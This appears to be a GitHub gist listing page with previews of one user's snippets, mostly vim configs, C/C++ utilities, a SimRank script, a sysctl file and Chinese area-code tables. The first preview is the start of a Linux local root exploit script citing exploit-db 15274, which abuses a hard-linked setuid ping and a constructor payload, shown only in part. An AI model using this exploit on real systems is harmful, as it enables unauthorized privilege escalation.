Skip to content

Instantly share code, notes, and snippets.

#!/bin/sh
# see: http://www.exploit-db.com/exploits/15274/
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
rm -rf /tmp/exploit/
cat >payload.c <<EOF
void __attribute__((constructor)) init()
{
@chao-he
chao-he / vimrc-full
Created July 17, 2014 04:29
vim configuration
" how many lines of history VIM has to remember
set history=100
" Enable filetype plugin
filetype plugin on
filetype indent on
" Set to auto read when file changed outside
set autoread
#include <string>
#include <sstream>
#include <cstdint>
#include <cmath>
namespace MapPoint
{
const double kEarthRadius = 6378137;
const double kMinLatitude = -85.05112878;
const double kMaxLatitude = 85.05112878;
@chao-he
chao-he / simrank.py
Last active July 10, 2019 15:42
simrank in python
import numpy as np
def read_matrix(fname):
x,y,z = [],[],[]
with open(fname) as f:
max_v, max_u = -1, -1
for l in open(fname):
u,v,c = l.strip().split()
u,v,c = (int(u), int(v), float(c))
@chao-he
chao-he / utf8.cc
Last active August 29, 2015 13:57
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
typedef uint32_t u32;
typedef uint16_t u16;
typedef uint8_t u8;
# Kernel sysctl configuration file for Red Hat Linux
#
# For binary values, 0 is disabled, 1 is enabled. See sysctl(8) and
# sysctl.conf(5) for more details.
# Controls IP packet forwarding
net.ipv4.ip_forward = 0
# Controls source route verification
1 021 上海 shanghai
2 010 北京 beijing
3 0571 杭州 hangzhou
4 020 广州 guangzhou
5 025 南京 nanjing
6 0512 苏州 suzhou
7 0755 深圳 shenzhen
8 028 成都 chengdu
9 023 重庆 chongqing
10 022 天津 tianjin
@chao-he
chao-he / qh.txt
Created February 28, 2014 10:39
区号表
{"0835": ["雅安市"], "0834": ["凉山彝族自治州"], "0837": ["阿坝藏族羌族自治州"], "0836": ["甘孜藏族自治州"], "0831": ["宜宾市"], "0830": ["泸州市"], "0833": ["乐山市", "眉山市"], "0832": ["内江市", "资阳市"], "0839": ["广元市"], "0838": ["德阳市"], "0546": ["东营市"], "0938": ["天水市"], "0939": ["陇南市"], "0543": ["滨州市"], "0429": ["葫芦岛市"], "0934": ["庆阳市"], "0427": ["盘锦市"], "0936": ["张掖市"], "0937": ["嘉峪关市", "酒泉市"], "0930": ["临夏回族自治州"], "0931": ["兰州市"], "0932": ["定西市"], "0421": ["朝阳市"], "0635": ["聊城市"], "0634": ["莱芜市"], "0633": ["日照市"], "0632": ["枣庄市"], "0631": ["威海市"], "0722": ["随州市"], "0473": ["乌海市"], "0472": ["包头市"], "0335": ["秦皇岛市"], "0372": ["安阳市"], "0373": ["新乡市"], "0853": ["安顺市"], "0852": ["遵义市"], "0851": ["贵阳市"], "0857": ["毕节市"], "0856": ["铜仁市"], "0855": ["黔东南苗族侗族自治州"], "0854": ["黔南布依族苗族自治州"], "0859": ["黔西南布依族苗族自治州"], "0858": ["六盘水市"], "0523": ["泰州市"], "0919": ["铜川市"], "0527": ["宿迁市"], "0912": ["榆林市"], "0913": ["渭南市"], "0911": ["延安市"], "0916": ["汉中市"], "0917": ["宝鸡市"], "0914": ["商洛市"], "0915": ["安康市"], "0754": ["汕头市"], "0755": ["深圳市"], "0756": ["珠海市"], "0757"
@chao-he
chao-he / vimrc
Created February 26, 2014 02:20
a basic vim config
" how many lines of history VIM has to remember
set history=100
" Enable filetype plugin
filetype plugin on
filetype indent on
" Set to auto read when file changed outside
set autoread
@chao-he
chao-he / php2json
Created February 25, 2014 16:27
php unserialize to json, implement in c
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
struct stream {
char *beg;
char *end;
char *cur;
char *save;